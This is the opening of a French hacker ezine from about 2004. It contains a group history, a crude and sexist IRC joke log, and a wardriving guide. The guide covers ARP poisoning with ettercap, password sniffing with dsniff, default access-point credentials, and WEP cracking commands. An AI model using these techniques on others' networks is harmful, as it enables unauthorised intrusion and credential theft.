,-----------,            ,-----------,,-----------,   ,--------,,--------------,
|            \          /            ||           |  /        / |               \
|             \        /             ||           | /        /  |                \
|              \      /              ||           |/        /   |                 \
|               \    /               ||                    /    |     ,-----,      |
|                \  /                ||                   /     |     |      \     |
|                 \/                 ||                   \     |     |       |    |
|            \          /            ||                    \    |     |       |    |
|             \        /             ||                     \   |     |______/     |
|              \      /              ||            |\        \  |                 / 
|              |\    /|              ||            | \        \ |                /
|______________| \  / |______________||____________|  \________\|___MINDKIND101_/
                  \/

              .-.              .-.              .-.    
             |_ _|            |_ _|            |_ _|               
            .</_\>,          .</_\>,          .</_\>,            
            (o_0_o)          (o_0_o)          (o_0_o)             
          .'\ .---'''''''''''--.   /'.      .'\     /'.          
          | .'                  '. | |      | | ;   | |          
          .'                   ;  '._|      |_| :   |_|          
          ;                        ; |   .-. \ \    | |  .-.      
          |___.--''''''''''''--.___|_|  |_ _| \_\-. |_| |_ _|    
          :______.-----------._____; >  </_\>, (_\ \(_>.</_\>,   
         /|  ________    ________  |\   o_0_o)   |\ \  (o_0_o)   
        ( ; (     _.'    '._     ) ; ).'\    /'. | \_.'\     /'. 
        ; \ '._.-'   .''.   '-._.' / ; | ;   | |_|__|| | ;   | | 
        |  |      -' :  \  '-     |  |_| :   |_| |  ||_| :   |_|  
        :  |         ;            |  ;\ \    | | | _| \ \    | |  
        .' ;         .--.         ; '. \_\-. |_|\|/__) \_\-. |_| 
       / .' \     .-'.--.'-.     / '. \|(_\ \(_>       |(_\ \(_> 
      (.'    \   / /'    '\ \   /    '.)  |\ \\        |  |\ \\  
       \      \.'-'        '-'./      /|  | \_\        |  | \_\  
        \.--'''      .''.      '''--./ |__|__| \       |__|__| \ 
       (        \    .--.    /        )|  |  |         |  |  |   
       ;     ..     /  l \      ..    ;|_ | _|         |_ | _|   
        \   (__)   (      )    (__)   /__\|/__)       (__\|/__)  
  _____  '-.______.-\    /--.______.-' ._                        
''   .'              '--'              -.`'----..      
   .'                                    `.      `     
  /                                        \      `    
 /                    |                     \      \   
 \                    |                     /       |    
  |                  / \                    |       |  

                                   

                                    Episode 101
                                 L'Empire Dbarque

                          Il y a fort fort longtemps (5 ans)
                       sur un ircd perdu (undernet), lors de la 
                    priode de grande noirceur, Se sont rassembls
                  sur le mme channel les anciens  dirigeants  d'une 
                poque dsormais oublie. Au cours des  ans  ce  petit 
              groupe  a  travaill    conserver  la connaissance et la
            stabilit des anciens temps dans son  petit  coin  d'univers.
     
                   
                          Depuis peu, les groupes barbares 
                       laisser depuis trop longtemps    eux 
                     mmes pullule et se partagent les restants
                   calcins d'une scne autre fois prometteuse  et
                 respectueuse. Ces barbares non aucune fois n'y loi
               n'y aucun respect pour ce qui a t  fait  avant, voir 
             mme aucune ide  de  ce qui a t fait avant. Ces groupes 
           sont donc condamns  de vaines guerres irc et  rinventer la 
        roue tout en partageant un tat de mdiocrit tout a fait dplorable


                         Devant ces faits dsolent et avec
                    L'intrt de dfendre l'intelligence commune
                  Mindkind  est sorti de son  isolationnisme et a
                prit pour mandat  de runir les barbares et d'duquer
              ceux qui taient favorable  au savoir du passer, de ramener
           la paix et la prosprit sur la bonne vielle  scne  francophone.
        Il y a peu, les agents de Mindkind on instaurer une coalition de groupe
      sur  #hack.fr  undernet  et  des  avants post sur efnet, dalnet, underz et
     freenode, des appelles on t lancer a diffrent groupe afin d'obtenir leur 
    participation  au projet. 


                  Et pour ceux que la ralit pourrait intresser:

    

        .----.
        |    | this area belong to the topic.
.------'----'---------------- - ----- - - ------- -- ----------
|
'------.----.-- - -------- ----------------------------------
       |    |
       |    |  01. le patriomoine lemurien                  LastCall_
       |    |  02. Wireless addict                         Last & Peuch
       :    |  03. Lockpicking : Beginner Handbook          init_null
       |    .  04. Les problmes dans les filtres Perl     Seriousman
       |    |  05. ICMP pas ICBM                             Sp1d3r 
       |    |  06. Port knocking, big word ez task           Wyzeman
       .    '  07. Radio Scrap                               Qwzykx
       |    |  08. PHP 5                                       h3
       |    |  09. Einstein et les 5 nains                 Seriousman
       |    |  10. Mendel et ses bytes                      TheTurtle
       |    |  11. Il etait une fois l'ASM                   Sp1d3r
       |    |  12. Lockpicking et securiter                 Hacktoad
       |    |  13. Perl part 5                              LastCall_
       |    |  14. LKM hide en 2.6                          Mindkind
       |    |
.------|    |-------- - ---------------------------------- - -
|      |   /'
'------|  / |------------------------------- - -------------------- -
       '----'


N'oubliez pas de lire (ou scroller) le ezine de A  Z, car comme  l'habitude 
nous avons des entres articles qui valent la peine d'tre lu! (non cpas juste 
des logs IRC)

 Dans la version lite vous retrouverez :
   - Les pics qui vont avec l'article 07 de Qwzykx
   - Les pics qui vont avec l'article 12 de Hacktoad

 Dans la version full vous retrouverez :
   - Mme choses que lite
   - Les pics qui vont avec l'article 11 de Sp1d3r
   - Un video de lockpicking live de hacktoad
   - Mindkind leds project in jpg/avi
   - Une antenne wifi dguise en morpe


...leon ed nipas nu'd temmos ua setop ses te susej ed ria'l riova issua siarruop 
ortni'l :SP


    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.01  Le Patrimoine Lemurien
:                              aka Histoire de Mindkind
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |


Le patrimoine lmurien vous prsente :
Histoire de Mindkind; finishing the tech tree

- Janvier 2004 : On update nos prsentations
  Une autre anne de  plus  notre actif,  cette anne starta comme  si c'tait
  pour tre l'anne o il va y avoir le plus de chose (pense positive ici la).
  Bien que la liste de projets  restait du mme nombre, le nombre  de personnes
  impliques augmentait, et l'implication aussi.
  
- Fvrier 2004 : Go go un ezine... hum.
  Des ides  gauche et  droite du  ezine sont venu, mme que le design a  t
  faite. Malheureusement on rentra dans une priode dormante cot production et
  le ezine ne  fut pas termin  (mme loin de  la). Cependant, Wyze  profita du
  moment pour recruter le plus de fresh blood possible. On vit donc  apparatre
  au cours des prochains mois des gens dans Mindkind tel que theturtle,  medgi,
  TheCops, HolyGod, koiz et Fire.
  
- Mars 2004 : j'avoue que la j'ai (last) eu un void mindkind
  Ben faut dire que personnellement j'avais mes mains pleines dans le LAN  ETS,
  un  vnement d'ampleur  o plusieurs  membres et  supporter de  mkd  ont  pu
  s'amuser et mettre leurs comptences en action. Il est cependant a noter  que
  c'est dans cette priode la  que #mindkind.org (qui tait rendu  big!) devena
  #hack.fr en s'alliant avec plus de mondes encore. a vous rapelle pas  l'ONU?

- Avril-mai 2004
  C'est la  que les  gros projets  sortirent du  sac et  que tout  le monde ont
  commenc   vouloir s'impliquer  plus.. on  a donc  mit sur  place et  jours
  certaines des infrastructures, faite des meetings for fun and profit, et etc!
  Cot recrutement Wyze tait encore en frnezi mode, bien que la prparation 
  la production prennait  plus de temps,  on vit des  nouvelles tte apparaitre
  tel que Northox, une version carbone de neo avec encore plus de motivation.

- Juin 2004 : 
  Nous voila donc en fin de ce mois de juin, ou plein de projets sont en cours,
  ou pour tre dvelopps..  y comprit le ezine.  Une nouvelle version du  site
  web va bientt sortir, et enfin les choses sont plus concrtes que c'taient.
  Par contre,  trangement, on  dirait que  j'en ai  moins   dire qu'avant. On
  dirait que notre culture est  maintenant tablie, que toute les  choses qu'on
  voulait  dfinir,  se  faire  connatre,  builder  une  base  solide,   c'est
  maintenant termin. C'est donc ainsi que les futurs patrimoines lmuriens  ne
  seront plus ax directement sur  le dveloppement de Mindkind, mais  bien sur
  l'influence et le patriotisme  qui se dveloppe au  sein du groupe, en  gros,
  prochain ezine, ne soyez pas surprit de voir que le premier article se limite
   2 mots: we ruxx.


.----------------------------------------------- - - --- - ---
| LastCall_   [lastcall at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



  < Mindkind tales from IRC >
  
  <LastJEDI_> Wyze
  <LastJEDI_> faudrait parti un fond de recherche mindkind
  <LastJEDI_> pour ingnierie gntique de chix
  <Wyzeman> find / -name chix
  <Wyzeman> jhahaha
  <LastJEDI_> on pourrait les faire cutes pis leurs faire aimer les choses geeks
  <LastJEDI_> haha
  <Wyzeman> qwzykx said "jsuis septique"
  <LastJEDI_> haha
  <LastJEDI_> c koi elle vont tous virer lesbienne et se retourner contre nous?
  <LastJEDI_> :-)
  <LastJEDI_> nyways c mal parti, TATU sont pas lesbo..
  <Wyzeman> ca depend du niveau de ton complexe frankeinstein
  <Wyzeman> haha
  <LastJEDI_> haha
  <Wyzeman> qwz miserais sur le reformatage software
  <LastJEDI_> faudrait faire des lois
  <LastJEDI_> comme celle des robots de asimoz
  <LastJEDI_> genre
  <LastJEDI_> - je serai lesclave sexuel de tous geeks
  <LastJEDI_> - je ne ferai pas de mal a un geek
  <LastJEDI_> etc etc
  <Wyzeman> sauf si cela contervien a la loi #1
  <Wyzeman> hahahaha
  <LastJEDI_> hahaaha
  
  < ----------------------- >


    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.02  Wireless addict
:                              aka 'WIFI on high time'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |


Votre  entourage trouve  que vous  sortez pas   ass l't?  Tlm  vous  dit de
prendre de l'air? Que   vous tes  blmes? Que   les rayons  de votre   CRT ne
sont pas une source de vitamines D  ? Qu'il y  a autre chose  DEHORS?  Eh bien
Mindkind a la solution : devenez un wireless addict.

Enfin vous trouverez le bonheur du  plain air, de l'exploration, le tout  avec
votre laptop favori. Vous pouvez au  choix tre en voiture (wardriving) ou  
pied (warwalking)  ou, si  vous tes  vraiment crinqu,  en avion (warflying).
Nous allons donc vous prsenter un petit guide de wireless, so called 802.11*,
so called wifi, so called wlan0, so called omg je savais pas que yavait autant
de packets qui traversent mon corps.


Hardware

First of all, pour  le plein air, il  vous faut un laptop  (duh). Se promenez
avec une tower pis  un cran 19pouces en  plein centre ville est  dconseill.
Mais bon une fois que vous avez le laptop, le reste va vous sembler moins cher
 l'achat en plus ;-)

Matriel indispensable : la carte wifi. Que a soit une orinoco ou une  marque
btarde, ya 2 choses importantes a retenir :
- que a soye au moins un Prims2 comme chipset (2.5 prsentement)
- que a l'aille  une plug pour plugger votre antenne (duh!, la  pluspart  des
cartes  n'ont  pas  de  plug!  Mais  yen  a  une  coupelle  avec  des   plugs,
malheureusement dans  les magasins  "normaux" on  en retrouve  pas. Entk  nous
avons faite le tour des magasins genre Future shop, Microbytes sans succs.)

Prix moyen pour les  cartes haut de gammes  (on conseil ceux la  pour les vrai
wifi addicts):
- Senao 200mW PCMCIA                    : 60-65$ US
- Orinoco GOLD 150mW PCMCIA             : 50$ US

Si jamais vous  avez dj une  carte wireless qui  n'a pas de  plug, ben temps
pis. Vous pouvez vous faire du fun  pareil (sans que a vous coute le  prix de
l'antenne) mais vous serez pas  "super powerfull". Cependant on veut  pas vous
dcourager, vous aller  trouver bcp de  networks quand mme,  mais c'est juste
que vous allez  a plus vous  mouvoir, et que  si vous tes  derrire un mur ou
parmi des obstacles c'est moins efficace.

Cependant ya tjrs moyen de s'arranger en de gosser vous mme votre plug, paske
aprs tout un jour, y  va srement avoir une carte  dlink en vente a 12$  chez
Future Shop... Si vous  vous sentez gosseux sur  le hardware, le jeux  vaut la
chandelle, surtout si votre carte est Prism2...
http://web.archive.org/web/20020204193529/http://kevlar.burdell.org/~will/antenna/
http://web.archive.org/web/20030602083019/c0rtex.com/~will/antenna/

On insiste  bcp sur  le fait  que a  doit tre  une prism2 comme chipset, car
c'est  une question  de drivers.  En faite  les prism2  ont tendance  a  mieux
marcher cot backward-compat et sont supporter par plus de tools cool que  les
autres types. Aussi y'on la rputation d'tre moins dla scrap. hehe

Si vous pensez qu'une carte wireless on board fait l'affaire.. well vous  tes
fou. Mais  a peut  dpendre. Nous  avons dj  vu certain  modle avoir de la
misre a pogner  une onde a  1 mtre, et  d'autres pogner des  ondes DEHORS de
plein d'affaire. Ca  dpend donc de  la conception du  laptop, mais nyways  a
accotera jamais une vrai carte avec antenne.

Next,
we need antennas, lots of antennas.
Si vous voulez vraiment  avoir le plus de  "cover range" possible, vous  devez
vous  procurer une  antenne. La  diffrence entre  une antenne  et  une  carte
wireless seule  est considrable.  Si vous  tes en  char, une  6-7dbi avec un
aiment (pour tenir  l'antenne sur le  toit ou encore  pour wiper les  datas de
votre HD si vous vous faites buster) convient parfaitement. A pied aussi c'est
chouette. Voici des exemples de modles avec les prix :

- Omnidirectionnel 7dBi ( avec aimant )  : 20$ US
  http://www.wisp-router.com/images/antennas/mobile/7dB_mobile_clear_background-fixed.jpg
- Omnidirectionnel 5dBi ( avec aimant )  : 16$ US
  http://shop.meconet.de/de/shop/img/h&s_2.4ghz-5dbi-omni.jpg
  
Si vous avez un headquarter  quelque part (disons chez vous) une plus  grosse
antenne peut vous faire trouver des miracles. Pour ce faire on a 2 choix,  des
omnidirectionnelle, qui ressemble a un manche a balait et qui pogne dans  tout
les sens les ondes, ou une bidirectionnelle pour "viser" la cible. hehe
Shopping cart :

- Omnidirectionnel 12dBi                : 69$ US
  http://www.aerialix.com/12dBi-nf-web.jpg
- Directionnel 24dBi                    : 60$ US
  http://www.levi.cz/images_k/EIX2615.jpg
- Directionnel 19dBi                    : ~50$ US

Evidemment ces  antennes la,  c'est pas  quelque chose  qu'on peut transporter
sans se  faire regarder  de travers  (remarquer juste  avec une petite antenne
dans vos mains  le monde vous  regarde d'un air  louche, oublier pas  l'excuse
suivante : prise de donnes mto et radio amateur haha).

Pour les visuels,  les connecteurs de  ces antennes la  (pour fitter avec  les
cartes wifi) ressemble  a :
http://www.ldeo.columbia.edu/~vschmidt/Photos/swap/equip-construct/images/mmcx-connector-zoom-2.jpg
http://www.rflinx.com/images/Pigtails/Lucent.jpg

For the freaks and budgets-men,
y'a aussi la possibilit de rajouter a votre panoplie des amplificateurs.
amplificateur 1W 2.4GHZ
  http://www.wirelesslan.gr/photos/2400se.jpg
  http://www.wifishop.nl/media/hyperamp.jpg
Sauf que a vaut 300$ (on parlait a ceux qui avait du budget la).
La plupart des gens s'en servent pour booster le signal de leurs access  point
avec a. Par exemple avec un ampli qui boost  500mW, on peut faire passer  un
signal de 19dBm  27dBm. Si en plus de ta on a une antenne qui a de  lallure,
genre une 12dBi, on gain encore plus et on fini par avoir 39dBm, ce qui est  a
peu prs 2 fois plus fort qu'au  dbut. Donc, oui, si vous avez du  budget, un
ampli vaut  la peine,  cependant faite  juste attention  pour pas  finir cuit,
parce que  vous allez  arriver au  bureau et  le monde  vont dire  que yon pas
commander de poulet.
Pour ceux qui veulent compter en dtails les gains :
http://bcwireless.net/moin.cgi/dBmChart

 l'inverse, si vous avez pas de budgets pour des antennes, vous pouvez vous
en faire une vous mme, il existe plein de site sur le net :
http://www.turnpoint.net/wireless/cantennahowto.html
http://www.oreillynet.com/cs/weblog/view/wlg/448
http://www.tux.org/~bball/antenna/
Et  a peut  tre une  activit faisable  en famille  ou dans  un cours  d'art
plastique.

Note pour Mindkind : un jour nous allons conqurir le monde avec du  wireless,
le tout fabriquer par  des enfants mexicains en  cours d'art plastique. Qui  a
dit que l'ducation ne paie pas?


Concepts

Un peu comme avec les yo pis les rappeux, ya des concepts et des mots qui faut
comprendre. Principalement pour avoir une conversation qui se tien faut savoir
qq termes. De plus, il ne faut pas oublier que du wireless c'Est dans les  air
(hen pas vrai?)  ou plutt, c'est  comme si vous  recevez le jus  de toute les
RJ45 autour de vous, dans une seule interface.

AP: Access  Point; la  machine qui  sert de  "switch wireless".  Y'a plusieurs
sorte de AP, a peut tre un ordi  avec une carte rseau en mode AP, a   peut
tre un  routeur linksys(dlink,  etc) cheapo,  un cisco,  une bbelle  bizzare
comme Colubris --> http://www.colubris.com/images/Colubris-AP-72dpi-RGB[1].jpg

Modes de connexion :
          MONITOR :
                Utilis pour sniffer les rseaux sans-fils.

          AD-HOC : 
                Utilis pour se connecter de carte wireless a carte wireless.

          MANAGED :
                Utilis pour se connecter  un access point.

          MASTER : ( Disponible seulement avec les drivers hostap linux )
                Utilis pour simul un access point avec votre prism2/2.5.

          REPEATER : ( Disponible seulement avec les drivers hostap linux )
                Utilis pour agrandir le rayon d'action d'un access point
                dja existant.

WEP:  Wired  Equivalent  Privacy :
          Encryption   sur   le   wireless.   Le  Standard  WEP  propose   des
          encodages de donnes moyennant une cl de 40 ou 128bit.

802.11: Les standard IEEE du protocole wireless :
          Standard IEEE 802.11a, WLAN 
                Longueur d'onde : 5GHz 
                Bandwidth Disponible : 54Mbps, 48Mbps, 36Mbps,
                                       24Mbps, 12Mbps, 6Mbps 
                Mesures de scurit : WEP, OFDM 
                Range optimal d'opration : 75 ft. intrieur, 150 ft. extrieur
                
          Standard IEEE 802.11b, Wi-Fi 
                Longueur d'onde : 2.4GHz 
                Bandwidth Disponible : 22 Mbps*, 11Mbps, 5.5Mbps, 2Mbps, 1Mbps 
                Mesures de scurit : WEP, OFDM, AES, WPA 
                Range optimal d'opration : 1000 ft. dans des conditions 
                idales; le plus souvent 150 ft. intrieur, 300 ft. extrieur
                * Doit possder des devices qui le supporte

          Standard IEEE 802.11g, Wi-Fi 
                Longueur d'onde : 2.4GHz 
                Bandwidth Disponible : 108Mbps* ,54Mbps, 48Mbps, 36Mbps,
                                       24Mbps, 12Mbps, 6Mbps 
                Mesures de scurit : WEP, OFDM, AES, WPA 
                Range optimal d'opration : 1000 ft. dans des conditions
                idales; le plus souvent 150 ft. intrieur, 300 ft. extrieur
                Particularit : Backward compatible avec le 802.11b 
                * Doit possder des devices qui le supporte

          Standard IEEE 802.11i, WPA
                Standard rcemment accepter par le IEEE pour l'usage de AES au
                lieu de DES pour l'encryption des donnes.
         
Puissance du signal :
          Il est mesur  en dBm.  On  peut interprter la  force du signal  de
          deux manires.
          
          La premire, le nombre  de dBm que l'on  emet.  En fait, on  devrais
          plutot parler de mW dans ce cas prsent.  Par exemple, une carte bon
          marcher linksys projette un signal de  15dBm ( ou dB, c'est la  mme
          chose ) soit 100mW. Plus le  nombre de milliwatt est lev, plus  la
          couverture  est   grande.  Par   exemple,  une   personne  ayant  un
          amplificateur  (  comme moi  )  envoie 500mW  ou  1W (dpendant  des
          modles) de signal.

          Deuxime manire, le  signal exprim par  les drivers de  linux.  Ce
          signal est calculer en dBm ( ou db ).  Linux inverse le signal, donc
          plus vous proche de  0, meilleurs votre signal  est si on se  fit au
          SIGNAL non pas  la QUALIT DE LIEN, nuance.

Channel :
          de 1  11 sur le territoire incroyable du FCC ( USA / CAN )
          de 1  13 sur le territoire Europeen
          de 1  14 sur le territoire Nipon ( JAPON )

Antennes :
          Petite prcision sur les antennes.  Les dBi est une unit de  mesure
          pour dsigner  un GAIN  DE SIGNAL.   Donc, une  antenne de 5dBi vous
          permet de  capter 5dB  de signal  de PLUS.   Ceci s'additionne  a la
          puissance d'mission de  la carte.  Une  orinoco, par exemple,  avec
          une antenne  5dBi emet  20dB au  lieu de  15dB et  croyez moi,  cela
          parait normment. 


Software

Bon ici on va vous  faire une rfrence trs rapide  de cki a  faire  avec le
software pour tre un wireless  addict semi-accompli. Evidemment, pour ce  qui
est des  systmes unix,  vous avez  juste a  faire un  man de la commande. Les
explications  des  mans pages  sont  quand mme  ass  compltes au  sujet  du
wireless. 

> Linux
- iwconfig: utilis pour configurer l'interface (wlan0 d'hab)
            et choisir un ssid
  iwconfig wlan0 mode managed essid SSIDDUDEVICE 
  iwconfig wlan0 mode managed essid SSIDDUDEVICE key LAKEYENHEX
  iwconfig wlan0 mode managed essid SSIDDUDEVICE key s:KEYENASCII

- ifconfig: utilis pour setter un ip sur le network wireless
            (la mme affaire qu'un lan normal)
  ifconfig wlan0 192.168.0.5 netmask 255.255.255.0
  ifconfig wlan0 up
  route add default gw IP
  D'habitude  l'interface  va  etre  wlan0,  et  les  IPs  et  bien  faut vous
  dbrouiller... En gnral  si vous voulez  faire du passive  sniffing sur le
  network, prenne de quoi de random dans un ip local, a la peut d'importance.
  Dans la plupart  des cas, a  va tre un  network du genre  192.168.0.X donc
  prenez un  ip avec  X=69 pis  un gateway  de 192.168.0.1.  Si vous faite une
  petite recherche sur le net, vous allez aussi voir que certain access  point
  on  un range  d'ip par  dfaut, et  un ip  par dfaut  (voir la  section AP
  populaires).

- dhcpd:
  pratique car la plupart du temps un rseau wifi roule en dhcp.. fak mme pas
  besoin de se casser la  tte pour trouver le range  et tout.. c beau la  vie
  hein? 

- kismet
  tool  qui  permet   d'avoir  une  vue   d'ensemble  de  tout   les  networks
  environnants.  Il en  existe une  panoplie de  tools du  genre, nous  avons
  choisis et  conseillons kismet  parce que  a nous  tente, mais c'est simple
  d'en  trouver plein  sur le  net. (voir  les liens  a la  fin de  l'article)
  Veuillez noter que kismet mets votre carte en mode monitor (donc vous pouvez
  pas vous plugger en mme temps sur un network). Pour enlve le monde monitor
  vous pouvez faire kismet_unmonitor ou  encore enlever votre carte pcmcia  et
  la remettre (c'est plus efficace que l'app de kismet).
  

- Ettercap
  Tout bon hax0r doit avoir ettercap dans sa poche. Ettercap dans un  contexte
  de  wireless vous  permet de  faire du  passive sniffing,  ou d'envoyer  une
  panoplie de arp requests dans le but de "comprendre le network".
  Pour passive sniffing (old version, la new checker le man!) : ettercap -O -i
  wlan0 Pour  sender un  paquet de  arp request  (y faut  avoir le  netmask de
  config avec ifconfig, genre un netmask de 255.255.255.0 va vous faire sender
  255 arps et 255.255.0.0 65025 arps :
  ettercap -i wlan0
  Simple. Ya aussi moyen  de poisonner a mort  pour faire que tout  le traffic
  revient vers le AP. Dans  ce cas la, avec un  wide open AP, le rsultat  est
  intressent : toute le traffic au complet se retrouve envoyer dans les airs,
  et n'importe  quel tappon  qui passe  par la  pogne les  packets de  tout le
  monde. Plaisir en perspective ;-)


 - sniffing for fun - 
  ethereal: pratique pur  voir en real  time cki se  passe sur le  network. Si
  votre carte est en monitor mode vous allez pouvoir voir *toute* (ou presque)
  ce qui se passe dans les airs.
  
 - sniffing for profit-
 dsniff:  avec ce  petit sniffeur  vous allez  pouvoir piquer  des passwords.
 ettercap fait la mme job mais fait un arp poison avant (ce qui est mieux) et
 il permet de  dumper les passwords  un peu dans  la mme manire  que dsniff,
 sauf  que dsniff  est "automatique"  (aka dans  ettercap il  faut faire  2-3
 commandes a chaque fois qu'on veut un dump des pass.. et ettercap a  tendance
 a  planter alors  que dsniff  tien le  coup, c'est  pour cette  raison qu'on
 conseil dsniff.)
 

> BSD
- ifconfig
  Un peu plus de truc qu'en linux, car ya pas de iwconfig en BSD. On peut donc
  toute faire a partir de ifconfig.  Aussi, l'interface en BSD change avec  la
  marque (comme les cartes  ethernet quoi!). De plus  ya pas vraiment de  mode
  manage et etc :
  ifconfig wi0 inet 192.168.0.5 netmask 255.255.255.0 ssid SSSIDNAME
  route add default 192.168.0.1
  Ah pis au lieu de dhcpd ya dhclient qui marche bien pour le DHCP en bsd.

- wicontrol
  Dpendant de votre version de BSD (5.0 est plus hot avec le wifi)  wicontrol
  peut vous  tes utile  ou pas.  En FreeBSD  5.x wicontrol  est deprecated et
  remplacer par tout plein de fonction dans ifconfig, voir le man de  ifconfig
  anyways ;-) 
  wicontrol -i wi0 -f 6
  Pour changer la frquence, cependant on croit remarquer que les drivers  ont
  tendance a s'amuser eux mme avec les settings, donc wicontrol sert plutt a
  voir o en sont vos settings. De plus pour de quoi de live, si vous avez une
  prism2, essayer prims2ctl.

- dstumbler
  Tool pratique pour voir les  networks live (quivalent de kismet  en linux),
  vous pouvez le starter  en mode monitor avec  "dstumbler -o". Il vient  avec
  les fameux "bsdairtools". Notez que  contrairement  linux, le monitor  mode
  _semble_ s'en  aller ds  que vous  fermer l'app.  Cependant si  vous gosser
  beaucoup  avec vos  config, on  vous conseil  d'enlever la  carte et  de  la
  remettre une fois de temps en  temps, surtout si vous avez FreeBSD  4.x, qui
  est plutt instable (ainsi que les version early de 5.x). 
  
- prims2ctl
  Un autre tool dans  la suite bsdairtools, celui  la vous permets de  changer
  live les  config de  la carte  wireless si  c'est une  prism2. Pas  mal plus
  efficace que ifconfig/wicontrol dans 4.x, le tool semble aller "direct jouer
  avec la carte". Si genre vous voulez tentez de sniffer vous mme un  channel
  prcis, prism2ctl va vous tre utile.
  
- sniffing : les mmes tools que linux marchent #1!


> Windows
  On a pas full jouer avec Windows, mais on pense que pour certaines personnes
  ca vaut la  peine surtout si  votre carte wifi  est fuckall compatible  dans
  Unix. D'habitude  Windoze offre  un meilleur  support, et  le tout  va mieux
  marcher  en  Win32. De  plus  y possible  d'aller  chercher des  ports  des
  programmes Unix pour  windows. Genre ettercap,  ethereal sont disponible  en
  version win32.

- netstumbler
  Le tool qui fait la job de kismet/dstumbler. Interface graphique bien sur!


AP populaires (and how to hack them)

Avec  le  temps  vous  allez  finir par  reconnatre  les  AP  lames  qui sont
configurer par default. D'habitude c'est des linksys ou des dlink. Ce qui a de
FUN avec les linksys lames, c'est que les gens laisse a en "factory  default"
(donc  non configurer).  La plupart  des tools  qui servent  a visualiser  les
networks wireless vous affiche une  couleur spciale (ou une note)  lorsque le
tout  est  factory default.  Parmi  les choses  le  fun a  faire,  vous pouvez
rajouter les rgles que vous voulez dans le routeur wireless, pour ainsi owner
le tout facilement. On va pas vous en dire plus, car finalement, entre a  pis
configurer son propre access point, a  revient au mme. On vous conseil  donc
de vous  amusez avec  un routeur  wireless ou  encore hostap  dans linux  pour
comprendre comment le tout fonctionne.

Y'a cependant des choses  a retenir, tel que  les ip et password  par dfauts.
Par exemple le default password :  <blank> avec user admin est populaire  chez
les dlinks. De plus les dlinks  ont quelque chose comme 192.168.0.50 comme  ip
par default (donc pas 192.168.0.1 comme default gateway!).

Les listes suivantes vont vous aider:
http://www.phenoelit.de/dpl/dpl.html
http://phenoelit.darklab.org/cgi-bin/display.pl

Avec le temps vous allez  voir que ya plusieurs sortes  de AP, yen a mme  des
"professionnel". Mais dans la plupart des cas, vous avez qua starter dhcp pour
avoir plein d'infos sur le network.. dans la plupart des AP "pro" ya un  genre
de login screen qui  apparat ds que vous  faite une request sur  un site web
quelconque. Vous pouvez donc, vous essayez  de passer par la (avec des  users/
pass par default). Il ce peut mme que l'interface web ncessite seulement  un
OK de votre part pour vous  mettre online sur le network (sans avoir besoin de
rel  user/pass,  mais  en  ayant besoin  de  faire  un  request http).  Donc,
n'oublier pas que si un DHCP vous rponds, d'essayer une requete web, a  peut
vous en dire beaucoup sur la configuration du rseau.


Cracking in details

Au dbut on voulait vous expliquer  en dtails quel sont les points  faible du
WEP, cependant ya plein de sites qui le font, tel que :
http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html
Par contre, personnes ne le raconte en seule phrase, alors voici :
Dans le wep y'on  utiliser le RC4, donc  quand t'as des packets  ass petit tu
peux en  ramasser des  "weaks" et  a partir  de ta  c facile d'extrapoler la
clef, en plus quand tu ramasse un GROS paquet de packets (hehe) tu peux  avoir
plein d'initialisation vectors (IV) qui te permettre d'extrapoler encore mieux
la key.
Donc, si jamais vous  tomber sur un network  encrypter (et c'est sur  que vous
allez en trouver)  vous pouvez essayer  les clefs par  default. Mais si  votre
"cible"  est rellement  importante, vous  pouvez vous  assir et  sniffer les
paquets dans un log pcap (avec  tcpdump, ou votre wireless tool favorite  (tel
que kismet ou dstumbler)).  Vous avez donc 2  moyens. Le premier est  de brute
forcer la  key, chose  qui peut  tre trs  long, si  la key  est longue.  Pas
contre, vu les faiblesses du RC4  dans le WEP, vous pouvez ramasser  une tonne
de paquet et extrapoler la key.  Cependant dites vous que quand on  dit "tonne
de packet" il  en faut bcp,  voir plusieurs centaines  de megs. Principalement
avec une encryption en RC4, il faut avoir plusieurs type de IV. Pour du 40bits
ya 5 types de IV et pour du 128bits 13. Dans ces types la, il vous en faut  60
de chaque. On a russi a avoir 150IV pour les types de 1  13 en 128bits, mais
le type  0 est  le plus  difficile. Il  existe cependant  plusieurs mthode de
cracking, des heuristiques et etc, et cela dpends des tools que vous avez.

Cot tools, en BSD on retrouve dans bsdairtools l'application dwepcrack. Lanc
avec dwepcrack -w bleh.log on peut utiliser la mthode qu'on vient d'explique
(les sortes de  IVs). On peut  aussi faire du  fast brute force  "dwepcrack -b
bleh.log"  ou  du  extensive  brute force  avec  "dwepcrack  -b  -e bleh.log".
Veuillez noter que le  brute force mode a  seulement besoin d'un seul  paquet,
celui le plus petit possible.

Dans Linux (et BSD again) on  retrouve airsnort. Dans notre cas on  trouve que
a marche pas fort (du genre l'interface de airsnort c'Est affreux et faut  du
live capture et blah blah). En faite, cracker du WEP c'est encore un processus
nouveau, donc les tools  sont pas full mature.  Il existe une srie  de script
perl pour faire la job, qui semble fonctionner :
http://wepcrack.sourceforge.net/
Nous avons  aussi mit  la main  sur un  petit tool  en C  qui promet, mais qui
malheureusement est au stade plutot alpha (du genre il fonctionne pas ttemps):
http://weplab.sourceforge.net/

Dans  tout les  cas, on  vous conseille  de vous  faire votre  propre network
wireless avec  WEP, de  d'assayer de  vous cracker  vous mme.  Comme a  vous
pourrez rgler les tools pour que a fonctionne. dwepcrack a d'lair tre  plus
mature comparer a weplab. Par exemple weplab demande des settings spciaux  en
fonction de votre marque de carte wireless, et d'autres gossage du genre  pour
utiliser l'heuristique spcial (qui semble puissant, mais est encore  alpha!).
dwepcrack se compile malheureusement seulement sous BSD...

  
